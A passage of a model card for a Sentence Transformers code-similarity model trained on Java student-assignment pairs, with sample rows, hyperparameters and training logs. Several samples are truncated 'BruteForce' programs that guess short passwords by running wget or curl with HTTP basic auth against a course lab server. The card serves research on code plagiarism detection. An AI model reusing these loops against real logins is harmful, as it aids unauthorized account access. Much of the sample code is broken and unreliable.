line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | |
|
| <code>0</code> | <code>import java.util.*;<br>import java.io.*;<br>import java.*;<br><br>public class Dogs5<br>{<br> public static void main(String [] args) throws Exception<br> { <br> executes("rm index.*");<br> executes("wget http://www.cs.rmit.edu./students");<br><br> while (true)<br> {<br> String addr= "wget http://www.cs.rmit.edu./students";<br> executes(addr);<br> String hash1 = md5sum("index.html");<br> String hash2 = md5sum("index.html.1");<br> System.out.println(hash1 +"|"+ hash2);<br> <br> BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));<br><br> String line=" " ;<br> String line1=" " ;<br> String line2=" ";<br> String line3=" ";<br> String[] cad = new String[10];<br> <br> executes("./.sh");<br> <br> int i=0;<br> while ((line = buf.readLine()) != null)<br> {<br> <br> line1="http://www.cs.rmit.edu./students/images"+line;<br> if (i==1)<br> line2="http://www.cs.rmi...</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | |
|
| <code>0</code> | <code><br><br>import java.util.*;<br>import java.text.*;<br>import java.io.*;<br>import java.*;<br>import java.net.*;<br><br>public class WatchDog<br>{<br> public static void main(String args[])<br> {<br> String s = null;<br> String webpage = "http://www.cs.rmit.edu./students/";<br> <br> <br> String file1 = "file1";<br> String file2 = "file2";<br> <br> try<br> {<br> Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);<br> <br> BufferedReader stdInput = new BufferedReader(new <br> InputStreamReader(p.getInputStream()));<br><br> BufferedReader stdError = new BufferedReader(new <br> InputStreamReader(p.getErrorStream()));<br><br> <br> while ((s = stdInput.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> <br> while ((s = stdError.readLine()) != null) { <br> System.out.println(s);<br> }<br> <br> try<br> {<br> p.waitFor(); <br> }<br> catch...</code> | <code><br><br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br>import java.String;<br>import java.Object;<br>import java.awt.*;<br><br><br><br>public class WatchDog<br>{<br> private URL url;<br> private URLConnection urlcon;<br> private int lastModifiedSince = 0;<br> private int lastModified[] = new int[2];<br><br> private int count = 0;<br><br> public static String oldFile;<br> public static String newFile;<br><br> private String diffFile;<br><br> private BufferedWriter bw;<br> private Process p;<br> private Runtime r;<br> private String fileName;<br><br> <br> <br> private ArrayList old[]= new ArrayList[500];<br> private ArrayList news[] = new ArrayList[500];<br> private String info = "";<br> private int index = 0;<br><br> public WatchDog(String fileName)<br> {<br> this.fileName = fileName;<br> oldFile = fileName + ".old";<br> newFile = fileName + ".new";<br> diffFile = "testFile.txt";<br> }<br> public static void main(String args[])<br> {<br> WatchDog wd = new WatchDog("TestDog");<br><br> wd.detectChange(WatchDog.oldFile);<br> while (true)<br> {<br> try<br> {<br> Thread.slee...</code> | |
|
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
|
|
|
### Evaluation Dataset |
|
|
|
#### soco_train_java |
|
|
|
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) |
|
* Size: 3,342 evaluation samples |
|
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code> |
|
* Approximate statistics based on the first 1000 samples: |
|
| | label | text_1 | text_2 | |
|
|:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| |
|
| type | int | string | string | |
|
| details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.68 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.63 tokens</li><li>max: 512 tokens</li></ul> | |
|
* Samples: |
|
| label | text_1 | text_2 | |
|
|:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| |
|
| <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br> StringWriter sw =null;<br> PrintWriter pw = null;<br> public differenceFile()<br> {<br> sw = new StringWriter();<br> pw = new PrintWriter();<br> }<br> public String compareFile()<br> {<br> try<br> {<br> Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br> InputStream write = sw.getInputStream();<br> BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br> String line;<br> while((line = bf.readLine())!=null)<br> pw.println(line);<br> if((sw.toString().trim()).equals(""))<br> {<br> System.out.println(" difference");<br> return null;<br> }<br> System.out.println(sw.toString().trim());<br> }catch(Exception e){}<br> return sw.toString().trim();<br> }<br>}</code> | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br> public static void main(String[] args) <br> {<br> Runtime rt = Runtime.getRuntime();<br> Process pr= null;<br> char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br> String pass;<br> char temp[] = {'a','a'};<br> char temp1[] = {'a','a','a'};<br> char temp2[] = {'a'};<br><br> String f= new String();<br> String resp = new String();<br> int count=0;<br> String success = new String();<br> InputStreamReader instre;<br> BufferedReader bufread;<br><br><br> for(int k=0;k<52;k++)<br> {<br> temp2[0]=chars[k];<br> pass = new String(temp2); <br> count++; <br><br> System.out.println("The password tried ...</code> | |
|
| <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br> public static void main(String args[])<br> {<br> <br> String mainLink="http://www.cs.rmit.edu./students/";<br> String sender = "@cs.rmit.edu.";<br> String recipient = "<webtech@acuneeds.>";<br> String hostName = "yallara.cs.rmit.edu.";<br> int delay = 86400000;<br><br> try<br> {<br> int imgSrcIndex, imgSrcEnd;<br> String imgLink;<br> Vector imageList = new Vector();<br> HttpURLConnection imgConnection;<br> URL imgURL;<br><br> <br> EmailClient email = new EmailClient(sender, recipient, hostName);<br><br> <br> URL url=new URL(mainLink);<br> HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br> BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br> <br> FileWriter fwrite = new FileWriter("local.txt");<br> BufferedWriter writefile = new BufferedWriter(fwrite);<br><br> String line=webpage.readLine();<br><br> while (line != null)<br> {<br> <br> writefile.write(line,0,line.length());<br> wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br> private static final int passwdLength = 3; <br> private static String commandLine<br> = "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";<br> private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> private int charLen = chars.length(); <br> private int n = 0; <br> private int n3 = charLen*charLen*charLen; <br> private String response;<br> private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];<br> private char[][] data = new char[passwdLength][charLen];<br> private char[] pwdChar2 = new char[2];<br> private char[] pwdChar = new char[passwdLength];<br> private String url;<br> private int startTime;<br> private int endTime;<br> private int totalTime;<br> private float averageTime;<br> private boolean finish;<br> private Process curl;<br> private BufferedReader bf, responseLine;<br><br>...</code> | |
|
| <code>0</code> | <code><br>import java.io.*;<br>import java.awt.*;<br>import java.net.*;<br><br>public class BruteForce<br>{<br> public static void main (String[] args)<br> {<br> String pw = new String();<br> pw = getPassword ();<br> System.out.println("Password is: "+pw);<br> }<br> public static String getPassword()<br> {<br> String passWord = new String();<br> passWord = "AAA";<br> char[] guess = passWord.toCharArray();<br> Process pro = null;<br> Runtime runtime = Runtime.getRuntime();<br> BufferedReader in = null;<br> String str=null;<br> boolean found = true;<br><br> System.out.println(" attacking.....");<br> for (int i=65;i<=122 ;i++ )<br> {<br> guess[0]=(char)(i);<br> for (int j=65;j<=122 ;j++ )<br> {<br> guess[1]=(char)(j);<br> for (int k=65 ;k<=122 ;k++ )<br> {<br> guess[2]=(char)(k);<br> passWord = new String(guess);<br> String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";<br> try<br> {<br> pro = runtime.exec(cmd);<br><br> in = new BufferedReader(new InputStreamReader(pro.getErrorSt...</code> | <code><br><br>import java.io.*;<br>import java.text.*;<br>import java.util.*;<br>import java.net.*;<br><br>public class BruteForce extends Thread<br>{<br> private static final String USERNAME = "";<br> private static final char [] POSSIBLE_CHAR =<br> {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',<br> 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',<br> 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',<br> 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br> private static int NUMBER_OF_THREAD = 500;<br><br> private static Date startDate = null;<br> private static Date endDate = null;<br><br> private String address;<br> private String password;<br><br> public BruteForce(String address, String password)<br> {<br> this.address = address;<br> this.password = password;<br> }<br><br> public static void main(String[] args) throws IOException<br> {<br> if (args.length < 1)<br> {<br> System.err.println("Invalid usage!");<br> System.err.println("...</code> | |
|
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) |
|
|
|
### Training Hyperparameters |
|
#### Non-Default Hyperparameters |
|
|
|
- `eval_strategy`: steps |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `num_train_epochs`: 1 |
|
- `warmup_ratio`: 0.1 |
|
- `fp16`: True |
|
|
|
#### All Hyperparameters |
|
<details><summary>Click to expand</summary> |
|
|
|
- `overwrite_output_dir`: False |
|
- `do_predict`: False |
|
- `eval_strategy`: steps |
|
- `prediction_loss_only`: True |
|
- `per_device_train_batch_size`: 16 |
|
- `per_device_eval_batch_size`: 16 |
|
- `per_gpu_train_batch_size`: None |
|
- `per_gpu_eval_batch_size`: None |
|
- `gradient_accumulation_steps`: 1 |
|
- `eval_accumulation_steps`: None |
|
- `torch_empty_cache_steps`: None |
|
- `learning_rate`: 5e-05 |
|
- `weight_decay`: 0.0 |
|
- `adam_beta1`: 0.9 |
|
- `adam_beta2`: 0.999 |
|
- `adam_epsilon`: 1e-08 |
|
- `max_grad_norm`: 1.0 |
|
- `num_train_epochs`: 1 |
|
- `max_steps`: -1 |
|
- `lr_scheduler_type`: linear |
|
- `lr_scheduler_kwargs`: {} |
|
- `warmup_ratio`: 0.1 |
|
- `warmup_steps`: 0 |
|
- `log_level`: passive |
|
- `log_level_replica`: warning |
|
- `log_on_each_node`: True |
|
- `logging_nan_inf_filter`: True |
|
- `save_safetensors`: True |
|
- `save_on_each_node`: False |
|
- `save_only_model`: False |
|
- `restore_callback_states_from_checkpoint`: False |
|
- `no_cuda`: False |
|
- `use_cpu`: False |
|
- `use_mps_device`: False |
|
- `seed`: 42 |
|
- `data_seed`: None |
|
- `jit_mode_eval`: False |
|
- `use_ipex`: False |
|
- `bf16`: False |
|
- `fp16`: True |
|
- `fp16_opt_level`: O1 |
|
- `half_precision_backend`: auto |
|
- `bf16_full_eval`: False |
|
- `fp16_full_eval`: False |
|
- `tf32`: None |
|
- `local_rank`: 0 |
|
- `ddp_backend`: None |
|
- `tpu_num_cores`: None |
|
- `tpu_metrics_debug`: False |
|
- `debug`: [] |
|
- `dataloader_drop_last`: False |
|
- `dataloader_num_workers`: 0 |
|
- `dataloader_prefetch_factor`: None |
|
- `past_index`: -1 |
|
- `disable_tqdm`: False |
|
- `remove_unused_columns`: True |
|
- `label_names`: None |
|
- `load_best_model_at_end`: False |
|
- `ignore_data_skip`: False |
|
- `fsdp`: [] |
|
- `fsdp_min_num_params`: 0 |
|
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} |
|
- `fsdp_transformer_layer_cls_to_wrap`: None |
|
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} |
|
- `deepspeed`: None |
|
- `label_smoothing_factor`: 0.0 |
|
- `optim`: adamw_torch |
|
- `optim_args`: None |
|
- `adafactor`: False |
|
- `group_by_length`: False |
|
- `length_column_name`: length |
|
- `ddp_find_unused_parameters`: None |
|
- `ddp_bucket_cap_mb`: None |
|
- `ddp_broadcast_buffers`: False |
|
- `dataloader_pin_memory`: True |
|
- `dataloader_persistent_workers`: False |
|
- `skip_memory_metrics`: True |
|
- `use_legacy_prediction_loop`: False |
|
- `push_to_hub`: False |
|
- `resume_from_checkpoint`: None |
|
- `hub_model_id`: None |
|
- `hub_strategy`: every_save |
|
- `hub_private_repo`: None |
|
- `hub_always_push`: False |
|
- `gradient_checkpointing`: False |
|
- `gradient_checkpointing_kwargs`: None |
|
- `include_inputs_for_metrics`: False |
|
- `include_for_metrics`: [] |
|
- `eval_do_concat_batches`: True |
|
- `fp16_backend`: auto |
|
- `push_to_hub_model_id`: None |
|
- `push_to_hub_organization`: None |
|
- `mp_parameters`: |
|
- `auto_find_batch_size`: False |
|
- `full_determinism`: False |
|
- `torchdynamo`: None |
|
- `ray_scope`: last |
|
- `ddp_timeout`: 1800 |
|
- `torch_compile`: False |
|
- `torch_compile_backend`: None |
|
- `torch_compile_mode`: None |
|
- `include_tokens_per_second`: False |
|
- `include_num_input_tokens_seen`: False |
|
- `neftune_noise_alpha`: None |
|
- `optim_target_modules`: None |
|
- `batch_eval_metrics`: False |
|
- `eval_on_start`: False |
|
- `use_liger_kernel`: False |
|
- `eval_use_gather_object`: False |
|
- `average_tokens_across_devices`: False |
|
- `prompts`: None |
|
- `batch_sampler`: batch_sampler |
|
- `multi_dataset_batch_sampler`: proportional |
|
|
|
</details> |
|
|
|
### Training Logs |
|
| Epoch | Step | Training Loss | Validation Loss | |
|
|:------:|:----:|:-------------:|:---------------:| |
|
| 0.0532 | 100 | 0.0885 | 0.0440 | |
|
| 0.1064 | 200 | 0.0225 | 0.0211 | |
|
| 0.1596 | 300 | 0.03 | 0.0287 | |
|
| 0.2128 | 400 | 0.0189 | 0.0252 | |
|
| 0.2660 | 500 | 0.0262 | 0.0245 | |
|
| 0.3191 | 600 | 0.0055 | 0.0327 | |
|
| 0.3723 | 700 | 0.0243 | 0.0257 | |
|
| 0.4255 | 800 | 0.0212 | 0.0206 | |
|
| 0.4787 | 900 | 0.0282 | 0.0194 | |
|
| 0.5319 | 1000 | 0.0204 | 0.0186 | |
|
| 0.5851 | 1100 | 0.0103 | 0.0212 | |
|
| 0.6383 | 1200 | 0.0178 | 0.0175 | |
|
| 0.6915 | 1300 | 0.0159 | 0.0164 | |
|
| 0.7447 | 1400 | 0.013 | 0.0156 | |
|
| 0.7979 | 1500 | 0.0111 | 0.0159 | |
|
| 0.8511 | 1600 | 0.0277 | 0.0147 | |
|
| 0.9043 | 1700 | 0.0034 | 0.0165 | |
|
| 0.9574 | 1800 | 0.0136 | 0.0154 | |
|
|
|
|
|
### Framework Versions |
|
- Python: 3.11.11 |
|
- Sentence Transformers: 4.1.0 |
|
- Transformers: 4.52.4 |
|
- PyTorch: 2.8.0.dev20250319+cu128 |
|
- Accelerate: 1.7.0 |
|
- Datasets: 3.6.0 |
|
- Tokenizers: 0.21.1 |
|
|
|
## Citation |
|
|
|
### BibTeX |
|
|
|
#### Sentence Transformers and SoftmaxLoss |
|
```bibtex |
|
@inproceedings{reimers-2019-sentence-bert, |
|
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", |
|
author = "Reimers, Nils and Gurevych, Iryna", |
|
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", |
|
month = "11", |
|
year = "2019", |
|
publisher = "Association for Computational Linguistics", |
|
url = "https://arxiv.org/abs/1908.10084", |
|
} |
|
``` |
|
|
|
<!-- |
|
## Glossary |
|
|
|
*Clearly define terms in order to be accessible across audiences.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Authors |
|
|
|
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.* |
|
--> |
|
|
|
<!-- |
|
## Model Card Contact |
|
|
|
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.* |
|
--> |